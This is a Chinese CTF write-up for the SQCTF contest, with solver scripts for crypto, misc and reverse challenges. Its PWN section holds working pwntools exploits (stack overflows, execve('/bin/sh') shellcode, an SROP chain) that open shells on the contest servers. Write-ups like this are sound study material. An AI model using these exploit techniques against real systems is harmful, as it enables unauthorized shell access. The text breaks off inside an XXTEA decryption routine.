霍雅
SQCTF商丘师范学院第四届网络安全及信息对抗大赛(公开赛道) huoya wp
19/609这次比赛整体偏易,抢了一个一血和几个二血三血,还有几个第四没抢到血
没有大佬来炸鱼 逆向和密码是全部ak了
最高的时候排第四
Crypto
Base?
春风得意马蹄疾
社会主义核心价值观编码套娃
list_const = ['富强', '民主', '文明', '和谐', '自由', '平等', '公正', '法治',
'爱国', '敬业', '诚信', '友善']
with open('1.txt', 'r', encoding='utf-8') as f:
str1 = f.read().strip()
while True:
# 解析为索引值
list1 = [list_const.index(str1[i << 1] + str1[i << 1 | 1]) for i in range(len(str1) // 2)]
# 解码过程
a = 0
list2 = []
while a < len(list1):
if list1[a] < 10:
list2.append(str(list1[a]))
elif list1[a] == 10:
a += 1
list2.append(hex(list1[a] + 10)[2:])
else:
a += 1
list2.append(hex(list1[a] + 6)[2:])
a += 1
str1 = bytes.fromhex(''.join(list2)).decode('utf-8')
print('解码结果:', str1, '\n')
if 'SQCTF' in str1:
print('已找到目标内容:', str1)
break
别阴阳我了行吗
失落矿洞中的密码
暴力求解 secretKey
# 椭圆曲线参数
p = 7654319
a = 1234577
b = 3213242
G = (5234568, 2287747)
P_pub = (2366653, 1424308)
crypted_data = [(5081741, 6744615), (610619, 6218)]
# 模逆函数
def inverse_mod(k, p):
return pow(k, -1, p)
# 椭圆曲线上的点加法
def point_add(P, Q):
if P is None: return Q
if Q is None: return P
x1, y1 = P
x2, y2 = Q
if P == Q:
m = (3 * x1 * x1 + a) * inverse_mod(2 * y1, p) % p
elif x1 == x2 and (y1 + y2) % p == 0:
return None
else:
m = (y2 - y1) * inverse_mod(x2 - x1, p) % p
x3 = (m * m - x1 - x2) % p
y3 = (m * (x1 - x3) - y1) % p
return (x3, y3)
# 倍点函数
def scalar_mult(k, P):
R = None
while k:
if k & 1:
R = point_add(R, P)
P = point_add(P, P)
k >>= 1
return R
# 找 secretKey
def find_secret_key():
for d in range(1, 9000000):
if d % 10000 == 0:
print(f"[*] Trying d = {d}")
if scalar_mult(d, G) == P_pub:
return d
return None
# 解密流程
def decrypt(secret_key, crypted_data):
c1, c2 = crypted_data
S = scalar_mult(secret_key, c1)
S_inv = (S[0], (-S[1]) % p)
M = point_add(c2, S_inv)
return M
if __name__ == "__main__":
print("[*] Looking for secretKey ...")
secret_key = find_secret_key()
if secret_key is None:
print("❌ Secret key not found in range.")
exit(1)
print(f"[+] Found secretKey = {secret_key}")
M = decrypt(secret_key, crypted_data)
print(f"[+] Decrypted point M = {M}")
print(f"[+] x + y = {(M[0] + M[1]) % p}")
Ezrsa
EZCRT
中国剩余定理
from gmpy2 import *
from Crypto.Util.number import *
from functools import reduce
# 将5进制数转换为10进制数 int('',5)
N1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
N2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
N3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093
c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614
N = [N1,N2,N3]
c = [c1,c2,c3]
# 中国剩余定理算法
def chinese_remainder(modulus, remainders):
Sum = 0
prod = reduce(lambda a, b: a*b, modulus)
for m_i, r_i in zip(modulus, remainders):
p = prod // m_i
Sum += r_i * (inverse(p,m_i)*p)
return Sum % prod
e = 3
# print(chinese_remainder(N,c))
pow_m_e = chinese_remainder(N,c)
# pow_m_e = 17446992834638639179129969961058029457462398677361658450137832328330435503838651797276948890990069700515669656391607670623897280684064423087023742140145529356863469816868212911716782075239982647322703714504545802436551322108638975695013439206776300941300053940942685511792851350404139366581130688518772175108412341696958930756520037
m = iroot(pow_m_e,e)[0]
print(long_to_bytes(m))
小白兔白又白
题目提示base,尝试base家族
第一层只有base91有可读数据
第二层base64以此类推,一个个尝试依次为base91-base64-base62解码成ascii-base16
得到一个U2FsdGVkX1+cEAtCb8l5oIiX+J9CwG3SpvdB38nPFkjnJ1HmRvbYQubVZDL3
百度查询得到Rabbit加密
根据提示题目小白兔喜欢刷哔哩哔哩,大家发弹幕的哈哈大笑,怎么和我发不一样呢,猜测可能是2333,但是不对,减少一位233正确
密室逃脱的终极挑战
玩的挺变态啊清茶哥
随波逐流有224码图一个个对
手抄SQCTF{jijibaotonghualizuoyingxiong}
丢三落四的小I
已知dp e c n
板子题
import libnum
import gmpy2
n= 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029
e= 65537
dp= 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113
c= 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173
for i in range(1,65535):
p=(dp*e-1)//i+1
if n%p==0:
q=n//p
break
phi_n= (p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
flag=libnum.n2s(int(m)).decode()
print(flag)
EzSCA
Ai一把梭
- 理解文件作用:
o template_trace_0.npy和template_trace_1.npy:分别代表处理比特0和比特1时的标准能量消耗模板
o energy_traces_with_flag.npy:实际加密flag时的能量消耗轨迹
o PNG文件是轨迹的可视化,可以帮助理解数据 - 核心方法:
o 将能量轨迹与两个模板进行相似度比较
o 判断每个时间点的能量消耗更接近0模板还是1模板
o 将结果转换为比特流,再转为ASCII字符
import numpy as np
import matplotlib.pyplot as plt
def bits_to_text(bits):
chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
text = ''.join([chr(int(char, 2)) for char in chars])
return text
# 加载数据
template_0 = np.load('template_trace_0.npy')
template_1 = np.load('template_trace_1.npy')
traces = np.load('energy_traces_with_flag.npy')
# 可视化检查
plt.figure(figsize=(12,6))
plt.plot(template_0, label='Template 0')
plt.plot(template_1, label='Template 1')
plt.legend()
plt.show()
# 找出两个模板差异最大的区域
diff = np.abs(template_0 - template_1)
critical_point = np.argmax(diff)
# 提取关键点的值进行比较
bits = []
for trace in traces:
val = trace[critical_point]
threshold = (template_0[critical_point] + template_1[critical_point])/2
bits.append('0' if val < threshold else '1')
bit_string = ''.join(bits)
flag = bits_to_text(bit_string)
print("Flag:", flag)
你的天赋是什么
Common Modulus
共模攻击
import gmpy2
import libnum
n1= 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
e1= 4217054819
c1= 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
n2= 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
e2= 2800068527
c2= 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346
#共模攻击
#共模攻击函数
s, s1, s2 = gmpy2.gcdext(e1, e2)
print(s,s1,s2)
m = (pow(c1, s1, n1) * pow(c2, s2, n1)) % n1
print(libnum.n2s(int(m)))
《1789年的密文》
import re
text = ""
code = [ # 密码本
"QWXZRJYVKSLPDTMACFNOGIEBHU",
"BXZPMTQOIRVHKLSAFUDGJYCEWN",
"LKJHGFDSAQZWXECRVBYTNUIMOP",
"POIUYTREWQASDFGHJKLMNBVCXZ",
"ZXCVBNMASDFGHJKLPOIUYTREWQ",
"MNHBGVCFXDRZESWAQPLOKMIJUY",
"YUJIKMOLPQAWSZEXRDCFVGBHNM",
"EDCRFVTGBYHNUJMIKOLPQAZWSX",
"RFVGYBHNUJMIKOLPQAZWSXEDCT",
"TGBYHNUJMIKOLPQAZWSXEDCRFV",
"WSXEDCRFVTGBYHNUJMIKOLPQAZ",
"AZQWSXEDCRFVTGBYHNUJMIKOLP",
"VFRCDXESZWAQPLOKMIJNUHGBTG",
"IKOLPQAZWSXEDCRFVTGBYHNUJM",
]
print(code)
codetext = "UNEHJPBIUOMAVZ" # 密文
codenum = "4, 2 ,11, 8, 9, 12, 3, 6, 10, 14, 1, 5, 7, 13" # 密钥
codenum = codenum.split(",") # 把这些数字都放到一个列表里面去,以逗号隔开
# print(codenum)
a = 0
print("最终解码本:")
for i in codenum:
index = code[int(i) - 1].index(codetext[a])
# code[int(i)-1]代表取出密钥对应的密码表中的字符串(对应重新排列),以解码本第一行为例,即取出密码本中的第12行字符串BRUHGUFGTJNUBAFDEGTEF
# index(codetext[a])取出当前对应密文在取出的字符串中的下标(即先找到循环的下标),以解码本第一行为例,即密文中第一个字符A在上面一行取出的字符串中的下标,即13,从0开始
a = a + 1 # 密文下标加一
code[int(i) - 1] = code[int(i) - 1][index:] + code[int(i) - 1][:index] # 拼接得到最终的一行解码
# code[int(i)-1][index:]是取出从密文对应的字符开始到最后的字符串,以解码本第一行为例,即取出AFDEGTEF
# code[int(i)-1][:index]是取出从头到密文对应的字符的字符串,不包括密文对应的字符,以解码本第一行为例,即取出BRUHGUFGTJNUB
print(code[int(i) - 1]) # 此时输出的字符串是按解码本的顺序从第一行开始,但在code中存储的顺序是对应密钥内容的顺序
# 完成了变形了
print("输出解码本每一列")
for i in range(len(code[0])): # len(code[0])即一行的长度
str = ""
print("第{}列的是:".format(i), end="")
for j in codenum:
str += code[int(j) - 1][i] # 因为变形后的解码本中的字符串是存储在密码本中,因此要按照密钥内容的顺序进行取出
print(str.lower())
解出来很多值
一个个交flag试最后是SQCTF{maketysecgreat}
PWN
浅红欺醉粉,肯信有江梅
领取你的小猫娘
from pwn import *
p = remote('challenge.qsnctf.com',30040)
padding = b"A" * 76
v5 = b"\x01\x00\x00\x00" # v5 = 1 (Little Endian)
return_address = b"\x1b\x21\x40\x00\x00\x00\x00\x00" # backdoor() 地址:0x40121B
# 合成 payload
payload = padding + v5 + return_address
p.sendline(payload) # 向程序发送字符串
p.interactive() # 代码交互转为手工交互
我觉君非池中物,咫尺蛟龙云雨
漏洞分析
直接执行用户输入:程序将用户输入直接存储在buff中,然后通过((void (*)(void))buff)();直接执行用户输入的内容。这给了我们执行任意代码的机会。
mprotect调用:程序调用了mprotect将包含stdout的内存页(0x4000-0x5000)设置为可读可写可执行(RWX),这包括了我们能控制的buff变量所在的.bss段。
没有栈溢出:虽然使用了read,但目标缓冲区是全局变量buff,不是栈上的s数组。
利用思路
直接写入shellcode:由于我们可以控制buff的内容,并且这部分内存是可执行的,我们可以直接写入shellcode。
通过dbg调试stdout地址
利用步骤
构造一个简单的shellcode,例如调用execve("/bin/sh", 0, 0)
将这个shellcode作为输入发送给程序
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# 连接远程服务
p = remote('challenge.qsnctf.com', 30799)
# 精简的execve("/bin/sh") shellcode (23字节)
shellcode = asm('''
/* execve("/bin/sh", 0, 0) */
xor rsi, rsi /* rsi = 0 */
push rsi /* push NULL */
mov rdi, 0x68732f6e69622f2f /* "//bin/sh" */
push rdi /* push "/bin/sh" */
mov rdi, rsp /* rdi = ptr to "/bin/sh" */
xor rdx, rdx /* rdx = 0 */
mov al, 59 /* rax = syscall number for execve */
syscall
''')
# 验证shellcode长度
assert len(shellcode) <= 32, f"Shellcode too long: {len(shellcode)} bytes"
# 发送payload
p.send(shellcode)
# 获取交互式shell
p.interactive()
当时只道是寻常
利用SROP调用execve("/bin/sh",0,0)
通过syscall触发rt_sigreturn
伪造SigreturnFrame设置寄存器
步骤
在可写段(如.bss)写入/bin/sh
构造poprax;ret设置rax=0xf(__NR_rt_sigreturn)
调用syscall触发SROP
from pwn import *
# 设置环境
env = {
'arch': 'amd64',
'os': 'linux',
'log_level': 'debug'
}
context.update(**env)
context.terminal = ['gnome-terminal', '--', 'bash', '-c']
# 目标程序
target = './pwn01'
remote_server = 'challenge.qsnctf.com'
remote_port = 32712
a =1;
def exploit():
# 连接方式选择
if a ==1:
io = remote(remote_server, remote_port)
else:
io = process(target)
# 关键gadget地址
gadgets = {
'pop_rax': 0x40104a,
'syscall_ret': 0x401045
}
# 字符串地址
binsh_addr = 0x40203a
# 构造payload
buf = b'A' * 8 # 填充缓冲区
# 设置rax=0xf (sigreturn系统调用号)
buf += p64(gadgets['pop_rax'])
buf += p64(0xf)
buf += p64(gadgets['syscall_ret'])
# 伪造sigreturn frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr # "/bin/sh"字符串地址
frame.rsi = 0 # argv=NULL
frame.rdx = 0 # envp=NULL
frame.rip = gadgets['syscall_ret']
buf += bytes(frame)
# 发送payload
io.send(buf)
# 如果本地调试,可以附加gdb
if args.DEBUG:
gdb.attach(io, '''
break *0x401045
continue
''')
# 交互模式
io.interactive()
if __name__ == '__main__':
exploit()
江南无所有,聊赠一枝春
Checksec一下发现没什么保护
有gift get存在溢出,直接构造payload到gift地址
发现打进去程序崩溃,让ai分析一下可能是堆栈平衡的问题
加一个ret地址构造payload
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('challenge.qsnctf.com', 31711)
padding = b"A" * 72
ret_gadget = 0x40101a
gift_addr = 0x4011B6
payload = padding + p64(ret_gadget) + p64(gift_addr)
p.sendline(payload)
p.interactive() # 获得 shell 或输出 flag
赌书消得泼茶香
简单分析一下memcpy有溢出,scanf可以输入大于dest的值,
Sub_401320经过base64编码
让ai写一下payload
from pwn import *
import base64
context(arch='amd64', os='linux', log_level='debug')
# 替换为实际的 ret 地址和后门地址(需确认与远程二进制一致)
ret_addr = 0x40101a # 本地找到的 ret 地址,假设远程相同
backdoor_addr = 0x40141D # 后门函数地址
# 构造payload: 104字节填充 + ret*2 + 后门地址
payload = b'A' * 104
payload += p64(ret_addr) * 2 # 双重 ret 确保栈对齐
payload += p64(backdoor_addr)
# Base64编码
encoded_payload = base64.b64encode(payload).decode()
# 连接远程服务器
p = remote('challenge.qsnctf.com', 30365)
# 发送Payload
p.sendlineafter(b'How are you feeling right now?\n', encoded_payload.encode())
# 进入交互模式获取shell
p.interactive()
MISC
ez_music1
love.host
王者荣耀真是太好玩了
查看图片没有可疑信息
尝试在农中查找以上的人,题目说要找出图中牢玩家
找第一个有个可以社工的地方,题目又提示百度地图
百度地图
url解码一下就是flag
宝宝你是一只白色大猫猫
一个一个工具试
使用SilentEye工具
提取出来是个二维码
随波逐流一把梭
在线扫描工具
阿尼亚
题目提示STEGANOGRAPHY_IMAGE猜测可能是Image Steganography
在线网站https://www.a.tools/Tool.php?Id=100
Piet
题目提示pite,搜索得到一个网站
https://www.bertnase.de/npiet/npiet-execute.php
解得Hello world!
FFT IFFT
把脚本给ai
要逆向还原这段代码处理后的视频,我们需要逆傅里叶变换(IFFT),并结合保存的幅度谱(magnitude)和相位谱(phase)信息。以下是完整的逆向还原步骤:
__
关键点分析
- 原始代码的输出:
o m/ 目录:存储每帧的幅度谱(log-scale)
o p/ 目录:存储每帧的相位谱
o r 文件:存储每帧幅度谱的 min/max(用于反归一化) - 逆向还原的核心步骤:
o 从 m/ 和 p/ 读取 幅度谱 和 相位谱
o 对 m/ 的幅度谱进行 指数运算(因为原始代码用了 log)
o 使用 r 文件中的 min/max 反归一化幅度谱
o 结合 幅度谱 和 相位谱 进行 逆FFT(IFFT)
o 将 IFFT 结果保存为帧,并合成视频
import os
import cv2
import struct
import numpy as np
def inverse_mapping(data, min_val, max_val):
"""反归一化:将[0,255]映射回原始范围"""
interval = max_val - min_val
original_data = data * interval / 255.0 + min_val
return original_data
def ifft(magnitude, phase):
"""从幅度谱和相位谱重建图像"""
# 计算复数频谱
real = magnitude * np.cos(phase)
imag = magnitude * np.sin(phase)
complex_spectrum = real + 1j * imag
# 逆FFT
fft_ishift = np.fft.ifftshift(complex_spectrum)
img_reconstructed = np.fft.ifft2(fft_ishift)
img_reconstructed = np.abs(img_reconstructed) # 取实部(去除浮点误差)
# 归一化到 [0, 255] 并转为 uint8
img_reconstructed = np.clip(img_reconstructed, 0, 255).astype(np.uint8)
return img_reconstructed
def main():
# 读取 r 文件中的 min/max
with open('r', 'rb') as f:
min_max_data = f.read()
num_frames = len(min_max_data) // 8 # 每个 min/max 占 8 字节(2个 float)
min_max_values = struct.unpack(f'!{num_frames * 2}f', min_max_data)
# 创建输出目录
os.makedirs('reconstructed_frames', exist_ok=True)
# 遍历 m/ 和 p/ 目录
m_files = sorted(os.listdir('m'))
p_files = sorted(os.listdir('p'))
frame_count = min(len(m_files), len(p_files))
for i in range(frame_count):
# 读取幅度谱和相位谱
m_img = cv2.imread(f'm/{m_files[i]}', cv2.IMREAD_GRAYSCALE).astype(np.float32)
p_img = cv2.imread(f'p/{p_files[i]}', cv2.IMREAD_GRAYSCALE).astype(np.float32)
# 反归一化相位谱(原始相位在 [-π, π] 之间)
phase = (p_img / 255.0) * (2 * np.pi) - np.pi
# 反归一化幅度谱(从 log 还原)
min_val, max_val = min_max_values[i*2], min_max_values[i*2 + 1]
magnitude = inverse_mapping(m_img, min_val, max_val)
magnitude = np.exp(magnitude) # 因为原代码用了 log
# 逆FFT重建图像
reconstructed_img = ifft(magnitude, phase)
# 保存重建的帧
cv2.imwrite(f'reconstructed_frames/{i:03d}.png', reconstructed_img)
# 合成视频
os.system('ffmpeg -i reconstructed_frames/%03d.png -r 25 -vcodec libx264 -crf 18 reconstructed_video.mp4')
if __name__ == '__main__':
main()
解出148张图片,拼起来是HELLO flag为SQCTF{HELLO}
字母的轮舞与维吉尼亚的交响曲
下载一个txt一个压缩包
百度翻译一下,没什么内容
题目提示维吉尼亚加密,维吉尼亚需要key,尝试从压缩包入手
爆破压缩包得到密码123456
得到secret=flag
我一开始不知道secret是什么意思,还以为这个是没用字符,用123456做秘钥试了好久
等到秘钥等于flag
维吉尼亚解密
把这个可疑字符丢到随波逐流一把梭
老君山的落日好美
爆破得到密码,解压得到一个jpg图片
没啥提示一个一个工具试
试出来盲水印有内容
YuanShen_Start!
有个压缩包和一个aup3
Aup3直接用audacity有内容
交了是个假的flag SQCTF{yuan_shen_1s_a_good_game!}
把他作为压缩包的密码,可以解压出一个word文档
搜索ctf可以看到有字符,但是不显示
把鼠标放上去发现有个图片
移开发现没反应,直接ctrl+a改颜色
得到一个flag交上去还是假的
然后用随波逐流foremost提取得到一个压缩包
尝试用这个去解压这个压缩包,用密码爆破等都没用,被误导了好久
把word的每个文件都丢到随波逐流里一一查看
发现有个png文件后面有字符串
Base58有结果
继续嗦
又是假flag SQCTF{6bb238u7r-6574-a7e6-0etg-7gsdycvdv27}
把这个丢到之前的zip的解压
解压出来又是一个压缩包 又需要密码
想起来之前还有个假的word文档里面的假flag没用上,试了一下是密码
SQCTF{27fhcwg2h-hv2rv7b-82RFHCbbvw-289fv2}
小巷人家
这是什么加密
reveser
慕然回首,那人却在灯火阑珊处
查看迷宫问题
把迷宫导出来
查看代码x <= 8 && maze[10 * x + 10 + y]可得迷宫的尺寸是 9行 和 10列
用python打印出来
maze_str = (
"S**#########*########**#########**#########*###**##***###**##*#####**##*#####*E##*******############"
)
# 每行的字符数
characters_per_row = 10
# 打印迷宫
for i in range(0, len(maze_str), characters_per_row):
print(maze_str[i:i+characters_per_row])
迷宫如下,不算复杂,手对照解
S**#######
##*#######
#**#######
##**######
###*###**#
#***###**#
#*#####**#
#*#####*E#
#*******##
ezRe
pyinstxtractor.py 33.exe
在线网站反编译pyc
https://tool.lu/pyc/
Base64解密5ed2be45-2e83-48d2-b631-c088e51ee964
鹅鹅鹅,曲项向天歌
def decrypt_flag():
ciphertext = 'itd~tzw_know_sanmenxbZ8'
part2_1_enc = ciphertext[:7]
part2_2_enc = ciphertext[7:20]
part2_3_enc = ciphertext[20:]
part2_1 = ''.join([chr(ord(c) - 5) for c in part2_1_enc])
part2_2 = part2_2_enc
part2_3 = ''.join([chr(ord(c) + 7) for c in part2_3_enc])
part2 = part2_1 + part2_2 + part2_3
flag = 'SQCTF{' + part2 + '}'
return flag
decrypted_flag = decrypt_flag()
print("解密后的flag是:", decrypted_flag)
# SQCTF{do_your_know_sanmenxia?}
圣人当仁不让
分析代码先经过vm_execute加密再经过base64加密
import base64
def reverse_vm_execute(data):
decrypted_data = bytearray(data)
for i in range(min(len(decrypted_data), 17)):
decrypted_data[i] = (decrypted_data[i] + 2) % 256
decrypted_data[i] = (decrypted_data[i] - 5) % 256
decrypted_data[i] = decrypted_data[I] ^ 0xAA
return bytes(decrypted_data)
encoded_str = "/P7sAe/U0s7c1vjb0vjfyt=="
decoded_data = base64.b64decode(encoded_str)
final_data = reverse_vm_execute(decoded_data)
print("Decrypted Data:", final_data.decode('utf-8', 'ignore'))
往事暗沉不可追
Ai一把梭
分析 VM 代码
题目提供了一个简单的虚拟机(SimpleVM),它支持三条指令:
• LOAD reg, addr:将内存地址 addr 的值加载到寄存器 reg
• XOR reg, value:将寄存器 reg 的值与 value 异或
• STORE reg, addr:将寄存器 reg 的值写回内存地址 addr
程序执行的 bytecode 为:
vbnet
复制编辑
LOAD 0, 16
XOR 0, 85
STORE 0, 32
LOAD 1, 32
XOR 1, 170
STORE 1, 48
并且题目将一个 16 字节的数组
ini
复制编辑
encrypted_data = [127, 131, 125, 123, 135, 127, 133, 123, 125, 131, 127, 135, 131, 123, 135, 125]
加载到了内存地址 16 开始的位置。
分步模拟指令
注意:题目的代码中 execute 函数并没有用循环处理所有指令,而只执行了一组指令(实际上只处理了第一条数据)。但根据题目的描述,“解密后的数据就是 flag”,很可能是要求对整个 encrypted_data 数组逐字节解密。
先看虚拟机如何处理一次“解密过程”:
- LOAD 0, 16
寄存器 0 得到 memory[16],即加密数据的第 1 个字节:127 - XOR 0, 85
对 127 异或 85,计算:
复制编辑 - ^ 85 = 42
此时寄存器 0 变为 42 - STORE 0, 32
将 42 存入内存地址 32 - LOAD 1, 32
将内存地址 32 的值加载到寄存器 1,即 42 - XOR 1, 170
对 42 异或 170,计算:
复制编辑 - ^ 170 = 128
此时寄存器 1 变为 128 - STORE 1, 48
将 128 存入内存地址 48
观察这两次 XOR 操作:
• 第一次 XOR 用的是 85
• 第二次 XOR 用的是 170
实际上,对于任意一个字节 x,有
(x ^ 85) ^ 170 = x ^ (85 ^ 170)
而 85 ^ 170 = 255
因此整体操作相当于:
decrypted = encrypted ^ 255
注意到 8 位数与 255 异或,相当于按位取反(即 ~x,对于 8 位数据,~x = 255 - x)。
应用于整个 encrypted_data
题目中有 16 个字节,加密数据为:
复制编辑
127, 131, 125, 123, 135, 127, 133, 123, 125, 131, 127, 135, 131, 123, 135, 125
对每个字节 x 进行操作 x ^ 255 得到:
加密字节 x 计算 结果 - 255 - 127 = 128 128
- 255 - 131 = 124 124
- 255 - 125 = 130 130
- 255 - 123 = 132 132
- 255 - 135 = 120 120
- 255 - 127 = 128 128
- 255 - 133 = 122 122
- 255 - 123 = 132 132
- 255 - 125 = 130 130
- 255 - 131 = 124 124
- 255 - 127 = 128 128
- 255 - 135 = 120 120
- 255 - 131 = 124 124
- 255 - 123 = 132 132
- 255 - 135 = 120 120
- 255 - 125 = 130 130
于是解密后的数据为:
复制编辑
128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130
题目说明“解密后的数据就是 flag,用逗号隔开”,并且要求 flag 的格式为 SQCTF{...}。
得出 flag
综合上述步骤,最终 flag 就是将解密后的数字直接用逗号分隔后放在 SQCTF{} 内:
复制编辑
SQCTF{128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130}
这就是本题的 flag。
__
注意 - 虽然题目提供的虚拟机代码中只处理了一次操作,但根据描述,整个加密数据需要逐字节还原。
- 由于 XOR 的结合律,先 XOR 85 后 XOR 170 相当于直接 XOR 255,即对每个字节取反。
你可以用 Python 快速验证:
python
复制编辑
encrypted_data = [127, 131, 125, 123, 135, 127, 133, 123, 125, 131, 127, 135, 131, 123, 135, 125]
decrypted = [x ^ 255 for x in encrypted_data]
print(decrypted)
输出: [128, 124, 130, 132, 120, 128, 122, 132, 130, 124, 128, 120, 124, 132, 120, 130]
最终提交 flag 为:
SQCTF{128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130}
春风也有春风愁
Ida分析
v7 = (v8 ^ 0xA5) + 55然后和v6去比较
v6=70FBF715FA08FD0B0D0F0E011431130DFB
但是解出来的值不对
回去尝试用前半段去解
发现解出来是逆逆序,sqctf{ea
后一段逆序解出来的是asy_xor}
猜测可能是sqctf{easy_xor}
v6_hex = "70FBF715FA08FD0B0D"
v7_hex = "0F0E011431130DFB"
v6_bytes = bytes.fromhex(v6_hex)
v7_hex = bytes.fromhex(v7_hex)
flag = ""
flag1 = ""
for b in v6_bytes:
decrypted = ((b - 55) % 256) ^ 0xA5
flag += chr(decrypted)
flag=flag[::-1]
for b in v7_hex:
decrypted = ((b - 55) % 256) ^ 0xA5
flag1 += chr(decrypted)
flag1=flag1[::-1]
print("Recovered flag:", flag,flag1)
回想了一下应该是端序问题,当时64位一看没想过这个问题
遇事不决,可问春风
有个亦或函数result.append((char) (c ^ 'B'));
拼接了一个字符串
"SQCTF{i_am_a_" + password + FLAG_SUFFIX;
Key给了=66
encrypted_parts = ["5", "#", ")", "7", "5", "#", ")", "7"]
encrypted = ''.join(encrypted_parts)
xor_key = 66
decrypted = ''.join([chr(ord(c) ^ xor_key) for c in encrypted])
flag = f"SQCTF{{i_am_a_{decrypted}}}"
print("Flag 是:", flag)
你若安好便是晴
题目提示喝杯
用findcrypt识别一下
分析一下代码,先经过tea再经过sub_100
查看tea发现有挺多魔改
魔改了魔数和加密过程还有加密符号
再查看sub_100是一个亦或算法
回去查看main函数,发现没有比较,下个断点flag就出来了
人生自古谁无死
分析一下代码,程序没有输入判断,猜测程序可能存在自解密
但是有反调试
看了一下加密逻辑主要在handle_strings
Puts是个输出函数
在check之前下个断点
把rip栈针改到handle_strings()的位置
在ret的位置下个断点
运行一下,v13就是flag
天下谁人不识君
简单逆向爆破所有字符去做比较
= 'wesyvbniazxchjko1973652048@$+-&*<>'
result = 'v7b3boika$h4h5j0jhkh161h79393i5x010j0y8n$i'
flag = ''
for i in range(0, len(result), 2):
c1 = result[i]
c2 = result[i+1]
index = i // 2
found = False
for c in range(32, 127):
s1 = c // 17
s2 = c % 17
e1 = s[(s1 + index) % 34]
e2 = s[-(s2 + index + 1) % 34]
if e1 == c1 and e2 == c2:
flag += chr(c)
found = True
break
if not found:
flag += '?' # 标记未匹配的字符
print('Recovered flag:', flag)
不劳春风解我忧
Xxtea_encrypt字符没有删除,猜测xxtea
V=是key
Block是密文
直接上板子出来了
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#define DELTA 0x9e3779b9
void xxtea_decrypt(uint32_t *v, int n, uint32_t *key) {
uint32_t y, z, sum;
int p, rounds, e;
rounds = 6 + 52 / n;
sum = rounds * 0x9E3779B9;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
v[p] -= ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z));
y = v[p];
}
z = v[n - 1];
